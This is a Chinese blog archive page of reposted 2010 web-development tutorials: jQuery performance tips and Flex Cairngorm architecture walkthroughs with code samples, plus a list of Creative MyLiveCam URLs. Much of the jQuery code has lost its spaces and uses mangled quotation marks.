test

2010年2月9日 由 博兮斋主 没有评论 »

Quick Index for Website: http://www.creative.com/mylivecam/


http://www.creative.com/images/LightBox/loadingAnimation.gif

http://cam.playdo.com/play_snow.htm

http://cam.playdo.com/play_eye.htm

http://www.creative.com/mylivecam/howtos/flash_snap_final.swf

http://www.creative.com/mylivecam/howtos/flash_video_final.swf

http://www.creative.com/mylivecam/howtos/flash_doodling.swf

http://www.creative.com/mylivecam/howtos/flash_avart_final.swf

http://www.creative.com/mylivecam/howtos/flash_effect_Final.swf

http://www.creative.com/mylivecam/howtos/flash_media_final.swf

http://www.creative.com/products/includes/buylink_menu.js

http://www.creative.com/downloads/downloads.aspx

http://home.live.com/Error.aspx?fpkey=wlhomepage&e=404

http://www.creative.com/howtos/popup.aspx?p=1

http://www.creative.com/mylivecam/howtos/document.asp?dcid=70077

http://www.creative.com/howtos/article.aspx?id=70079&page=1

http://www6.tomshardware.com/consumer/20040910/webcam-06.html

http://www.creative.com/images/fun/games/amigo.swf

[转载]改善你的jQuery的25个小贴士

2010年2月2日 由 博兮斋主 没有评论 »

1.从GoogleCode加载jQuery

GoogleCode上已经托管了多种JavaScript类库,从GoogleCode上加载jQuery比直接从你的服务器加载更有优势。它节省了你服务器上的带宽,能够很快的从Google的内容分布网络(CDN)上加载JS类库。更重要的是,如果用户访问那些发布在GoogleCode上的站点后它会被缓存下来。

这样做很有意义。有多少站点使用了没有被缓存的相同jQuery副本,而这些很容易做到:

<scriptsrc=”<SPAN><Ahref=”http://www.google.com/jsapi”>http://www.google.com/jsapi</A>”></script>

<scripttype=”text/javascript”>

//LoadjQuery

google.load(”jquery”,”1.2.6″);

google.setOnLoadCallback(function(){

//Yourcodegoeshere.

});

</script>

<scriptsrc=”http://www.google.com/jsapi”></script>

<scripttype=”text/javascript”>

//LoadjQuery

google.load(”jquery”,”1.2.6″);

google.setOnLoadCallback(function(){

//Yourcodegoeshere.

});

</script>

或者,你能够直接引用JS:
scriptsrc=”http://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js”type=”text/javascript”></script>�
<scriptsrc=”http://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js”type=”text/javascript”></script>
这里有详细的用法说明
2.使用备忘单
不仅仅是jQuery,很多编程语言也有类似的备忘单,在一张A4的纸上就可以很容易看到每个函数的用法。幸运的是已经有好心的家伙把jQuery的备忘单做得很完善了:
http://www.gscottolson.com/weblog/2008/01/11/jquery-cheat-sheet/

http://colorcharge.com/jquery/

【译注】
jQuery1.3CheatSheet

3.整合所有的脚本并缩减它们

不错,这是JavaScript的一个常见技巧。可是一个使用了jQuery的大项目可能使用了很多相关的jQuery插件(本站就使用了easing,localScroll,lightbox,preload),因此它通常是适用的。浏览器不能同时加载JS脚本(大多数情况下),这意味着如果你同一时间加载很多脚本的话,将减缓页面的加载速度。因此,如果每个页面都要加载这些脚本,你应该考虑在发布之前将这些脚本整合成一个稍大的JS脚本。一些jQuery插件已经最小化了,但是你应该打包你的JS脚本和那些没有缩减过的脚本,这仅需要几秒的时间就可以完成。

就个人而言,我推荐PackerbyDeanEdwards

4.使用Firebug出色的控制台日志工具
如果你还没有安装Firebug,那么你真的应该把它装上。除了许多其它有用的特性(比如允许你检查http传输情况、发现你的CSS问题),它也有极好的日志命令,允许你很容易调试JS脚本。
这里有Firebug所有特性的详细说明。
我最喜欢的特性有”console.info“,通过它你可以把信息和变量值输出到控制台上,而不必使用alert;”console.time”则允许你在一组代码上设置定时器,从而计算出JS脚本运行所花费的时间。这一切都很容易做到:

console.time(’createlist’);

for(i=0;i<1000;i++){
varmyList=$(’.myList’);
myList.append(’Thisislistitem’+i);
}

console.timeEnd(’createlist’);

5.通过缓存最小化选择操作
jQuery的选择器棒极了。它们可以在页面上以极其简单的方法找到任何元素,但是在内部它们必须通过大量的步骤才可以实现选择操作,如果你错误的使用它们,那么你可能发现一切都变得相当慢。
如果你一次又一次的选择相同元素(例如在一个循环中),那么你可以一次选择出它并放入内存中,同时你可以在核心内容里操作它。看下面的例子,这里我们利用循环往UL里添加条目:
for(i=0;i<1000;i++){
varmyList=$(’.myList’);
myList.append(’Thisislistitem’+i);
}

这在我的PC上Firefox3花费了1066毫秒时间(可以设想一下在IE6中的情况!),对JavaScript而言这个操作相当慢。现在让我们来看看下面的代码,这里我们仅使用了一次选择操作:
varmyList=$(’.myList’);

for(i=0;i<1000;i++){
myList.append(’Thisislistitem’+i);
}

仅仅用了224毫秒,通过移动一行代码就快了将近4倍。

6.最小化DOM操作
我们通过减少对DOM的插入操作可以让上面的代码运行得更快。DOM的插入操作(像.append(),.prepend(),.after(),.wrap())是相当耗时的,执行这些操作会拖慢程序的运行。
我们所要做的就是使用字符串拼接来构造一个list项并用一个函数往列表里添加这些项,比如.html()。请看下面的例子:
varmyList=$(’#myList’);

for(i=0;i<1000;i++){
myList.append(’Thisislistitem’+i);
}
在我的PC上花费了216毫秒,仅仅在1/5秒左右。但是如果我们使用字符串构造list项,使用下面的HTML方法完成插入操作:
varmyList=$(’.myList’);
varmyListItems=”;

for(i=0;i<1000;i++){
myListItems+=’<li>Thisislistitem’+i+’</li>’;
}

myList.html(myListItems);
它耗时185毫秒,尽管没有快很多,但是也提高了31毫秒的时间。

7.处理DOM插入操作时,将需要的内容包装在一个元素中
嗯,不要问我为什么要这样做(我相信一个有相当经验的程序员会给你解释)。
在上面的例子中我们使用.html()将1000个item项插入到UL中。如果在插入操作之前我们将这些项包装在UL标签中,然后把完整的UL插入到另一个DIV标签中,那么我们实际上仅仅插入一个标签而不是1000个,这看起来要更高效些。请看下面这个例子:
varmyList=$(’.myList’);
varmyListItems=’<ul>’;

for(i=0;i<1000;i++){
myListItems+=’<li>Thisislistitem’+i+’</li>’;
}

myListItems+=’</ul>’;
myList.html(myListItems);
现在所花费的时间仅19毫秒,比我们之前的第一个例子明显提高了50倍。

8.尽可能使用IDs而不是classes
jQuery利用classes进行DOM元素选择操作与通过ID进行选择一样容易,因此与之前相比更自由的使用classes进行元素选择操作很有吸引力。不过由于jQuery使用浏览器固有的方法(getElementById)进行选择操作,因此利用ID进行选择操作更有优势。有多快呢?让我们来看看。
我使用前一个例子,修改它以便于我们创建的每个LI有一个唯一的class。然后我将遍历之,每次选择一个元素:
//Createourlist
varmyList=$(’.myList’);
varmyListItems=’<ul>’;

for(i=0;i<1000;i++){
myListItems+=’<liclass=”listItem’+i+’”>Thisisalistitem</li>’;
}

myListItems+=’</ul>’;
myList.html(myListItems);

//Selecteachitemonce
for(i=0;i<1000;i++){
varselectedItem=$(’.listItem’+i);
}
正如所想的,我的浏览器花费了5066毫秒的时间(5秒多)。因此我修改上述代码以使用ID而不是class,然后通过ID进行选择。
//Createourlist
varmyList=$(’.myList’);
varmyListItems=’<ul>’;

for(i=0;i<1000;i++){
myListItems+=’<liid=”listItem’+i+’”>Thisisalistitem</li>’;
}

myListItems+=’</ul>’;
myList.html(myListItems);

//Selecteachitemonce
for(i=0;i<1000;i++){
varselectedItem=$(’#listItem’+i);
}
仅仅耗时61毫秒,几乎快了100倍。

9.给选择器提供上下文
默认情况下,当你使用类似$(’.myDiv’)的选择器时将在整个DOM文档查找元素,这有很大的代价。
当执行选择操作时,jQuery函数可以指定第二个参数:jQuery(expression,context)通过给选择器提供一个上下文,那就会在这个context中进行元素查找,而不必在整个DOM文档中查找元素。
为了解释这个,我们采用前面的第一段代码。它创建一个有1000项内容的UL,每项都有一个单独的class。
然后遍历之每次选择一项。你应该记得通过class选择所有的1000项item需要耗时5秒多。
varselectedItem=$(’#listItem’+i);�
然后我给其添加一个上下文,以便于仅在UL中执行选择操作:
varselectedItem=$(’#listItem’+i,$(’.myList’));�
由于效率太差,仍耗时3818毫秒的时间,但是通过一个很小的修改仍获得了25%的速度提升。

10.正确使用方法链
jQuery最炫的一个特性就是jQuery能够连续的进行方法调用。举例来说,你想去切换元素的class:
$(’myDiv’).removeClass(’off’).addClass(’on’);�
如果你像我这样,你可能在前五分钟的jQuery学习就可以更进一步使用它。首先它仍可以跨行操作(jQuery是JavaScript),这意味着你能够写出下面这样工整的代码:
$(’#mypanel’)
.find(’TABLE.firstCol’)
.removeClass(’.firstCol’)
.css(’background’:'red’)
.append(’<span>Thiscellisnowred</span>’);�
使用链表的习惯将有助于你减少选择器的使用。然而可以更深入使用之,你想在一个元素上执行好几个函数,但是以某种方式改变了操作的元素:
$(’#myTable’).find(’.firstColumn’).css(’background’,'red’);�
我们选择了一个表格,在其中找到class为”firstColumn”的单元格,然后使之背景变为红色。
现在我们希望将所有class为”lastColumn”的单元格背景设为蓝色。因为我们已经使用了find()函数过滤出class不为”firstColumn”的所有单元格,因此我们需要再一次对表格使用选择操作,我们难道不能连续进行方法调用吗?幸运的是jQuery提供了end()函数,这将匹配的元素列表变为前一次状态以便于你可以执行方法链表:
$(’#myTable’)
.find(’.firstColumn’)
.css(’background’,'red’)
.end()
.find(’.lastColumn’)
.css(’background’,'blue’);

写一个能够进行方法链式调用的自定义jQuery函数也很容易。你所做的就是要写个能修改元素并返回元素的函数。
viewplaincopytoclipboardprint?
$.fn.makeRed=function(){
return$(this).css(’background’,'red’);
}

$(’#myTable’).find(’.firstColumn’).makeRed().append(’hello’);�
它很简单吧!

11.学会正确使用效果
在我刚开始使用jQuery的时候,就很喜欢这一点:它可以很容易使用预定义好的各种动画效果,像slideDown()和fadeIn()之类的。由于jQuery提供的animate()方法十分易用和强大,我们很容易深入使用它。事实上,在jQuery源代码中不少方法就是通过animate()函数来实现效果的。
slideDown:function(speed,callback){
returnthis.animate({height:”show”},speed,callback);
},

fadeIn:function(speed,callback){
returnthis.animate({opacity:”show”},speed,callback);
}
animate()方法仅仅作用在CSS上,根据数值平滑的进行转换。因此你能够改变宽度、高度、透明度、背景色、top、left、margin、颜色、字体大小以及任何你想要的。
给菜单项添加高度变化的效果是很容易做到的:
$(’#myListli’).mouseover(function(){
$(this).animate({”height”:100},”slow”);
});
不像其他的jQuery函数,动画效果自动的排进队列,因此如果在第一个特效完成之后你想运行第二个特效,需要两次调用animate方法:
$(’#myBox’).mouseover(function(){
$(this).animate({”width”:200},”slow”);
$(this).animate({”height”:200},”slow”);
});
如果你想动画效果同时发生,那么需要将所有的styles作为一个参数对象传入方法中:
$(’#myBox’).mouseover(function(){
$(this).animate({”width”:200,”height”:200},”slow”);
});
你能够给值是数字的属性添加动画效果。你也可以下载插件帮助你给非数字值的属性添加动画效果,像colorsandbackgroundcolors

12.了解事件代理
与之前相比,jQuery能够更容易得向DOM元素无缝添加事件。这是很棒的特性,然而向元素添加太多的事件是效率很差的。在很多情况下事件代理允许你用少量的事件实现同样的目的。最好的解释方法就是使用实例:
$(’#myTableTD’).click(function(){
$(this).css(’background’,'red’);
});
当我们点击表格中的单元格时,上面的代码将使所有单元格背景变为红色。比方说,你有一个10列、50行的网格,那么就会绑定上500个事件。嗯,这时就是事件代理出场的时候了:
$(’#myTable’).click(function(e){
varclicked=$(e.target);
clicked.css(’background’,'red’);
});
e’包含了事件的信息,包括了实际接收到click事件的目标元素。我们所要做的就是检查是哪个单元格被点击了。相当的巧妙!
事件代理带来了另外一个好处。正常情况下,在你往一个元素集合绑定一个事件,该事件仅仅只是绑定到这些集合元素上。如果你向DOM中添加了新的元素,尽管这些新元素被选择器所匹配,但是这些新元素并不会绑定上事件处理(你同意我的观点吗?),因此不会有事件发生。
当使用事件代理时,你能够在事件被DOM绑定后仍然可以添加多个被匹配的元素到其中,而它们同样能够正常工作。
13.利用classes存储状态
这是在html中存储信息最基本的方法。jQuery擅长基于classes进行元素的操作,因此如果你需要存储元素的状态信息,为什么不试试使用额外的class来存储它呢?
这里有一个例子。我们想创建一个展开的菜单。当你点击按钮时,我们希望通过slideDown()和slideUp()进行菜单的展开与收缩。请看下面的HTML:
<divclass=”menuItemexpanded”>
<divclass=”button”>
clickme
</div>
<divclass=”panel”>
<ul>
<li>Menuitem1</li>
<li>Menuitem2</li>
<li>Menuitem3</li>
</ul>
</div>
</div>

非常的简单!我们仅仅向包装器DIV添加一个额外的class,它只是告诉我们item项的状态。因此在按钮点击之后我们所需要的只是click事件处理,这会执行相应的slideUp()和slideDown()方法。
$(’.button’).click(function(){

varmenuItem=$(this).parent();
varpanel=menuItem.find(’.panel’);

if(menuItem.hasClass(”expanded”)){
menuItem.removeClass(’expanded’).addClass(’collapsed’);
panel.slideUp();
}
elseif(menuItem.hasClass(”collapsed”)){
menuItem.removeClass(’collapsed’).addClass(’expanded’);
panel.slideDown();
}
});

这是很简单的一个例子,不过你可以给一个元素或HTML片断添加额外的classes以存储所有种类的信息。
然而,除了在简单的情况之外我们更应该使用下面这个技巧。

14.更好的方法是利用jQuery内置的data()方法存储状态
由于某些原因,这方面没有很好的文档可以参考。jQuery提供了内置的data()方法,与DOM元素不同的是,它可以用来存储key/value类型的数据。数据的存储是很容易的:
$(’#myDiv’).data(’currentState’,'off’);
我们修改上一个例子的代码,以便于我们可以使用相同的HTML内容(除了没有”expanded”类)并使用data()函数来进行状态的存储:
$(’.button’).click(function(){

varmenuItem=$(this).parent();
varpanel=menuItem.find(’.panel’);

if(menuItem.data(’collapsed’)){
menuItem.data(’collapsed’,false);
panel.slideDown();
}
else{
menuItem.data(’collapsed’,true);
panel.slideUp();
}
});

我相信你也会赞同这种方法的使用的确更加的精巧,对于data()和removeData()的更多信息,请查看jQueryinternals

15.写你自己的选择器
jQuery有许多内置的选择器用以通过ID、class、标签、属性以及其他元素进行选择操作。然而当你需要基于其它一些内容进行元素选择而jQuery却没有提供该选择器时,你能做什么呢?
嗯,一个解决方案可能是从一开始就给元素添加上classes,从而利用这些classes进行元素的选择操作。然而这被证明很难对jQuery扩展出新的选择器。
最好的解释方法就是使用实例:
$.extend($.expr[':'],{
over100pixels:function(a){
return$(a).height()>100;
}
});

$(’.box:over100pixels’).click(function(){
alert(’Theelementyouclickedisover100pixelshigh’);
});

代码的前一部分创建一个自定义的选择器,它可以找出所有长度超过100px的元素。接下来的代码仅仅是将click事件绑定到使用该选择器查找出来的那些元素上。
这里我不做更具体的讲解,但是你能设想一下它有多么的强大!如果你在google上搜索”customjqueryselector”,你会看到有很多这方面的例子。

16.精简你的HTML并在页面加载后修改它
这个标题可能没有多大意思,但是这个技巧可能理顺你的代码、减小代码体积和页面的下载时间、有助优化你的搜索引擎。请看下面的例子:
<divclass=”fieldOuter”>
<divclass=”inner”>
<divclass=”field”>Thisisfieldnumber1</div>
</div>
<divclass=”errorBar”>
<divclass=”icon”><imgsrc=”icon.png”alt=”icon”/></div>
<divclass=”message”><span>Thisisanerrormessage</span></div>
</div>
</div>
<divclass=”fieldOuter”>
<divclass=”inner”>
<divclass=”field”>Thisisfieldnumber2</div>
</div>
<divclass=”errorBar”>
<divclass=”icon”><imgsrc=”icon.png”alt=”icon”/></div>
<divclass=”message”><span>Thisisanerrormessage</span></div>
</div>
</div>
上面是一个HTML的具体例子,为了解释目的做了少量修改。我相信你也会认为这段代码相当的丑陋。如果类似代码很长的话,你最终会形成一个相当长且丑陋的页面。因此你可以像下面这样处理它:
<divclass=”field”>Thisisfield1</div>
<divclass=”field”>Thisisfield2</div>
<divclass=”field”>Thisisfield3</div>
<divclass=”field”>Thisisfield4</div>
<divclass=”field”>Thisisfield5</div>
所有你要做的就是在页面加载完成之后通过jQuery的操作将丑陋的HTML添加回去:
$(document).ready(function(){
$(’.field’).before(’<divclass=”fieldOuter”><divclass=”inner”>’);
$(’.field’).after(’</div><divclass=”errorBar”><divclass=”icon”>
<imgsrc=”icon.png”alt=”icon”/></div><divclass=”message”>
<span>Thisisanerrormessage</span></div></div></div>’);
});
这样做并不总是可取的,在页面加载后的一瞬间你将会看到页面的闪动,但是在特定情况下你有很多重复的HTML内容,这时通过这个方法你可以显著的减小页面代码体积,减少无关且重复的标记能使你的SEO从中受益。

17.为了速度和SEO方面的考虑,延迟加载内容
另外还有一个方法可以提升页面加载速度,理顺Spiders搜索的HTML内容,通过在页面加载之后使用AJAX请求晚加载其他内容,这样用户就可以马上开始浏览,让Spider看到你想要它们进行索引的内容。
我们已经在自己的网站上使用了这个技术。本页面上部的紫色按钮会弹出三个表格,方位与Google地图,这会使我们页面大小增加两倍。因此我们仅需要把这些HTML内容放入一个静态页面中,在页面加载完成之后通过load()函数加载它:
$(’#forms’).load(’content/headerForms.html’,function(){
//Codehererunsoncethecontenthasloaded
//Putallyoureventhandlersetc.here.
});�
我不会在页面上随处使用这个技巧。对此,你必须权衡考虑。你需要有额外的页面请求,而且页面上的部分内容不能立即呈现给用户,但是正确的使用这个技巧对优化会很有帮助。

18.使用jQuery提供的工具函数

jQuery不仅仅有闪光的效果。jQuery作者也提供了一些相当实用的方法,这填补了JacaScript的一些缺陷。
http://docs.jquery.com/Utilities
尤其,提供一些常见的数组函数的浏览器支持是一个补丁。jQuery提供了迭代、过滤、克隆、合并和从数组中去除重复项的方法。
其他常用的函数包括得到下拉框中的选择项。用传统的JavaScript方法,你就必须使用getElementById得到<select>元素,然后通过遍历它的子元素找出被选中的元素。而jQuery提供了相当容易使用的方法:
$(’#selectList’).val();
花时间浏览官方网站上的jQuery文档与一些不常用的方法上是很值得的。

19.使用noConflict重命名jQuery对象

大多数JavaScript框架都使用$符号作为缩写,当在同一个页面使用多个JS框架时,页面很容易发生冲突。幸运的是有一个简单的方法。noConflict()函数交回$的控制权并允许你设置成自己的变量名:
$(’#selectList’).val();

20.如何得知图片已加载完毕
这也一个没有很好文档说明的问题(至少在我查找时没看到),但是在创建照片库、旋转灯笼效果等方面,它是相当常见的需求。而这在jQuery中很容易实现。
所有你要做的就是在IMG上使用.load()方法,在其中添加一个回调函数。下面的例子改变了一个图片src的属性同事附加上一个简单的load函数:
$(’#myImage’).attr(’src’,'image.jpg’).load(function(){
alert(’ImageLoaded’);
});
你应该可以发现一旦图片加载完毕就会弹出一个alert。

21.总是使用最新版本
jQuery仍在不断的更新,它的作者JohnResig一直在寻找提高jQuery性能的方法。jQuery当前的版本是1.2.6,John已经宣称他正在写一个新的选择器引擎Sizzle,这可能会显著的提高选择器性能(在Firefox中提升了4倍),因此我们应当保持最新版本。
【译注】这是去年年底写的文章,而目前最新版本是v.1.3.2。

22.如何检查元素是否存在
你不必检查元素是否在页面上存在就可以使用它,因为如果没有在DOM中找到合适的元素,jQuery什么也不会做。可是当我们需要检查元素是否被选择了,或是有多少项被选择了,你可以使用length属性:
if($(’#myDiv).length){
//yourcode
}

简单之极。

23.给你的HTML属性增加JS类
我是从KarlSwedberg那学到这个技巧,过去学习jQuery时一直在看他的书。
他最近在我以前的文章留下了对该用法的评论,基本原则如下示之。
首先,在jQuery加载之后你可以使用方法将”JS”类添加到HTML标签中:
$(’HTML’).addClass(’JS’);�
因为这仅仅发生在javascript有效的时候,如果用户打开JavaScript开关,那么你可以使用它给元素添加上CSS风格:
.JS#myDiv{display:none;}

因此,这意味着在JavaScript打开时我们可以隐藏内容,然后在需要时使用jQuery显示这些内容(比如在用户点击时收缩或展开内容),同时在关闭JavaScript(以及搜索Spiders)时会看到所有内容。我将在晚些时候使用这个技巧。
可以在这里看到他的所有文章。

24.返回’false’以防止默认行为
这是很明显的,也可能不是。如果你有这样的习惯:
<ahref=”#”class=”popup”>Clickme!</a>

然后添加上如下的事件处理:
$(’popup’).click(function(){
//Launchpopupcode
});

你在长页面使用上述方法时,它可能可以正常工作。有些时候你会注意到在点击链接后锚点会跳转到页面上部。
所有你要做的就是阻止它的默认行为,或者实际上你可以把”returnfalse;”添加到任何事件的默认行为上。像这样:
$(’popup’).click(function(){
//Launchpopupcode
returnfalse;
});

25.ready事件的简写
一个小技巧但是通过使用$(document).ready()的简写,你可以少输入几个字符。
取代:
$(document).ready(function(){
//yourcode
});
你可以简写成:
$(function(){
//yourcode
});

[转载]Simple Flex RSS Reader using Cairngorm 研究

2010年1月20日 由 博兮斋主 没有评论 »

显示结构
下图是RssReader的显示结构。可以发现,除了可视化组件(绿色)外,非可视化组件(红色)也用mxml的方式组装到整个Application中。这样做的目的是为了更好的利用Flex中的事件传播机制。

事件流
下面看一下RssReader初始化时的事件流。(其他的事件流可以用同样的方法进行分析)

 

URI中监听了creationComplete事件。当创建URI完成后,会调用handleCreationComplete方法,设置的URL,然后再调用CairngormEventDispatcher的dispatch方法,发布自定义的GetFeedEvent事件。

代码如下:

<!--l version="1.0" encoding="utf-8-->
<?xml version="1.0" encoding="utf-8"?>
<mx:HBox xmlns:mx="http://www.adobe.com/2006/mxml" creationComplete="handleCreationComplete()">
 
    <mx:Script>
        <![CDATA[
            import com.nagpals.flexrssreader.events.GetFeedEvent;
            import com.adobe.cairngorm.control.CairngormEventDispatcher;
            import com.nagpals.flexrssreader.model.RSSReaderModelLocator;
 
            [Bindable] private var model : RSSReaderModelLocator = RSSReaderModelLocator.getInstance();
 
            private function geturi(selecteduri:String):void{
                CairngormEventDispatcher.getInstance().dispatchEvent(new GetFeedEvent(selecteduri));
            }
 
            private function handleCreationComplete():void{
                model.feedURI = "http://news.com.com/8300-10784_3-7.xml";
                geturi(model.feedURI);
            }
 
        ]]>
</mx:Script>
    <mx:Label text="Enter URL for an RSS feed" fontSize="12"  paddingTop="4" fontWeight="bold"/>
    <mx:TextInput id="uritext" width="400" text="{model.feedURI}" fontSize="12"/>
    <mx:Button id="uributton" label="Get Feed" click="geturi(uritext.text)" fontSize="12"/>
</mx:HBox>

2. RSSReaderController中注册了GetFeedEvent的监听器。会接收到FlashPlayer分发的事件,并根据事先的定义调用GetFeedCommand进行处理。

?View Code ACTIONSCRIPT
package com.nagpals.flexrssreader.control...{
    import com.adobe.cairngorm.control.FrontController;
    import com.nagpals.flexrssreader.commands.*;
    import com.nagpals.flexrssreader.events.*;
 
    public class RSSReaderController extends FrontController...{
        public function RSSReaderController()...{
            this.initialize();
        }
 
        private function initialize() : void...{
            this.addCommand(RSSReaderController.GET_FEED,GetFeedCommand);
            this.addCommand(RSSReaderController.SELECT_ITEM,SelectItemCommand);
        }
 
        /**//* ------------------------------------------------- */
        public static const GET_FEED : String = "getFeed";
        public static const SELECT_ITEM : String = "selectItem";
 
    }
}

3.GetFeedCommand调用business.GetFeedDelegate处理逻辑,GetFeedDelegate通过HTTPService获取RSS数据后将结果返回给GetFeedCommand。代码如下:

?View Code ACTIONSCRIPT
public class GetFeedCommand implements ICommand, IResponder...{
        private var delegate : GetFeedDelegate;
        private var model : RSSReaderModelLocator = RSSReaderModelLocator.getInstance();
 
       public function GetFeedCommand()...{
               delegate = new GetFeedDelegate(this);
       }
 
        public function execute( event : CairngormEvent ) : void...{
            var feedEvent : GetFeedEvent = GetFeedEvent( event );
            model.feedURI = feedEvent.selecteduri;
            delegate.getFeed();
        }
 public function result( event : Object) : void...{
            model.feedVOList     = event.result.rss.channel.item as ArrayCollection;
            model.feedTitle     = StringUtil.trim(event.result.rss.channel.title);
            model.feedTitleLink = StringUtil.trim(event.result.rss.channel.link);
        }
 
        public function fault( event : Object ) : void...{
            mx.controls.Alert.show("Error in getting feed: " + event.message);
        }
 
    }

4. 如果正常返回结果,GetFeedCommand会更新作为model的RSSReaderModelLocator中的数据。而RSSReaderModelLocator声明为[Bindable],当数据发生变化时会发出“propertyChange”事件。
(关于数据绑定的内容,请参考flex事件机制1:事件源)。
5. FlashPlayer接收到propertyChange事件后,会分发给所有绑定到model的组件,这些组件将自动更新数据。至此,整个初始化的过程就执行完毕。

[转载]跟我StepByStep学FLEX教程——Cairngorm之Command部分

2010年1月16日 由 博兮斋主 没有评论 »

这一讲对Command部分进行详细解释,也就是command如何通过Delegate部分去做Services(Remoting,Webservices…等等)。

  从上一讲中读者可以知道,Event触发通过FrontController影射到对应的Command进行业务处理。

  而如果系统要和后台的数据库进行数据交互的话,Command就会产生Delegate,将远程访问(HTTP,WebServices等等)实例化,并将结果返回给Command。

  Service则就是用来定义服务器端访问以获取数据的。

  这样读者就很清晰Command部分的处理流程了,对照代码解释如下:

  LoadPhotosCommand.as中需要加载图片访问服务器数据(该实例简化就定义在本地xml中,不过原理一样的),通过onResults_loadPhotos这个,将获取的图片数据加载到ModelLocator中,这样View就可以显示所获取的数据了。

  而在PhotoDelegate中,就是将远程访问实例化而已:__service = __locator.getHTTPService(”photosIn”);

  Services.mxml中定义了访问数据的方式:<mx:HTTPService id=”photosIn” url=”assets/photos.xml”/>。

  读者通过Demo15及对其的详细讲解,应该有一个很基础的认知了,至于框架本身如何,在实际系统的开发中,都要很好的去遵循框架本身的要求。

[转载]跟我StepByStep学FLEX教程——Cairngorm之Model Locator

2010年1月16日 由 博兮斋主 1条评论 »

  Model Locator的概念已经讲过,就是在一个地方存储程序中所有的值对象(ValueObjects,数据)并共享变量。

  也就是说,Model Locator用来集中管理程序所需要的变量。

  下边把Demo15的ModelLocator.as代码如下:(作者增加相应的注释)

?View Code ACTIONSCRIPT
import mx.collections.ArrayCollection;
 
 [Bindable]
 public class ModelLocator
 {
 
  //定义程序需要的变量,作者建议读者把该部分定义放在最下边,而不是示例中的上边,原因就是在于代码更整齐(因人而异,仅作者的个人建议,呵呵)
  public var photoData:ArrayCollection=new ArrayCollection();
  public var purchasedPhotos:ArrayCollection=new ArrayCollection();
 
  
 
  //定义ModelLocator的Single Instance,这就是设计模式的单例模式(不明白的读者可以看设计模式中的该模式讲解)
  static private var __instance:ModelLocator=null;
  //返回single instance
  static public function getInstance():ModelLocator
  {
   if(__instance == null)
   {
    __instance=new ModelLocator();
   }
   return __instance;
  }
 }

  对于ModelLocator的instance和getInstance的代码编写,这部分代码读者在写新的代码过程中,除非重新定义一个自己的ModelLocator(基于IModelLocator 接口实现),这部分代码就这么写了,呵呵,即使是自己定义,其也大同小异。

  对于getInstance来说,会判断程序是否已经有ModelLocator的实例,如果有则读取,没有则创建。

  而[Bindable]的特性,使自己定义的变量在任何一个使用定义变量的地方自动更新,这也是ModelLocator的共享变量的概念所在。

  ValueObject下的photo.as对象作者就不解释了,实在没啥解释的,呵呵。

  下一讲就要对Cairngorm的核心控制流程进行讲解了,也就是bussiness下的各部分和event的复杂关系,可能读者刚接触会觉得很绕,没关系,呵呵,Step By Step,作者讲解之后,读者就不会有那种感觉了。

  作者很感谢广大读者的支持,看见大家的评价,心里甚感欣慰,呵呵。

[转载]跟我StepByStep学FLEX教程——Cairngorm之核心控制流程

2010年1月16日 由 博兮斋主 没有评论 »

这一讲结合Demo对Cairngorm的核心控制流程进行讲解,也帮助读者梳理一下对Demo代码的认知。

  下图就是Caringorm的事件流程:

跟我StepByStep学FLEX教程------Cairngorm之核心控制流程

  在操作View也就是页面的过程中会派发Event,然后由Front Controller影射分配给对应的Command,Command做完相应的业务处理更新ModelLocator的数据,由于ModelLocator(上一讲讲过)共享的原因,View自动会更新所显示的内容。

  了解了这个基本流程后,读者对核心控制流程的认知就会更加清晰了:

  Events:就是操作View或者其它设计产生的事件;

  FrontController:就是注册Command和Event的对应关系,来把Event进行影射分配给相应的Command;

  Command:进行业务处理,更新ModelLocator(至于Command部分如何利用Delegate和Service连接则在下一讲中进行详细描述);

  这下读者就很清楚了这三者之间的关系以及Cairngorm这么做的基本原理。

  很显然,也就对应了以下的代码结构:

跟我StepByStep学FLEX教程------Cairngorm之核心控制流程

  events目录下的AddPhotoToCartEvent.as和LoadPhotosEvent.as,继承自CairngormEvent。PhotoEvent让操作者选择图片时发出事件(FStop.mxml中操作事件触发)。

  在FSController.as中定义(建议读者建一个controller的目录),继承自FrontController,负责将Event注册到Command,也就是接收到Event就分配给Command,代码如下:

?View Code ACTIONSCRIPT
addCommand(LoadPhotosEvent.EVENT_ID,LoadPhotosCommand);
addCommand(AddPhotoToCartEvent.EVENT_ID,AddPhotoToCartCommand);

在FStop.mxml中操作者触发代码:

?View Code ACTIONSCRIPT
     //选择图片时触发AddPhotoToCartEvent
 
   private function photoSelectedHandler(event:PhotoEvent):void
   {
    var addEvent:AddPhotoToCartEvent=new AddPhotoToCartEvent(event.selectedPhoto);
    addEvent.dispatch();
   }
 
   //初始化系统时触发LoadPhotosEvent
 
   private function initApp():void
   {
    var event:LoadPhotosEvent=new LoadPhotosEvent();
    event.dispatch();
   }

这下读者对代码是不是清晰很多了:)

  下一讲对Command如何利用Delegate和Service连接进行讲解(说句实话,尽管作者也遵照这个规范去编写,但是仍然感觉Cairngorm架构对业务层的处理定义的过于复杂了,仅个人观点,非官方,呵呵)。

[转载]跟我StepByStep学FLEX教程——Cairngorm之代码结构

2010年1月16日 由 博兮斋主 没有评论 »

首先看看Demo15的详细代码结构如下图:
跟我StepByStep学FLEX教程------Cairngorm之代码结构

  其中,assets为系统用到的图片以及CSS样式和XML数据。

  下边大家可以按照Cairngorm之组成部分那一讲的图片和概念对照,对其程序的组成部分就很清晰了,有一个很直观的认识。

  大家很容易明白FStop.mxml是运行系统的主页面文件,而views下的mxml都是组成主页面的页面组件。这些就不具体讲解了,在后边,会把页面的一些和Cairngorm相关的在后边的讲解中会一起说明,而页面本身的大家可以看看教程的初级部分。

  下一讲就讲model部分的代码进行讲解,这个相对来说也简单。之后就要对bussiness和events这两部分进行重点讲解,一般读者如果没有一定基础的话,不容易理解。

[转载]cairngorm登陆设计

2010年1月16日 由 博兮斋主 没有评论 »

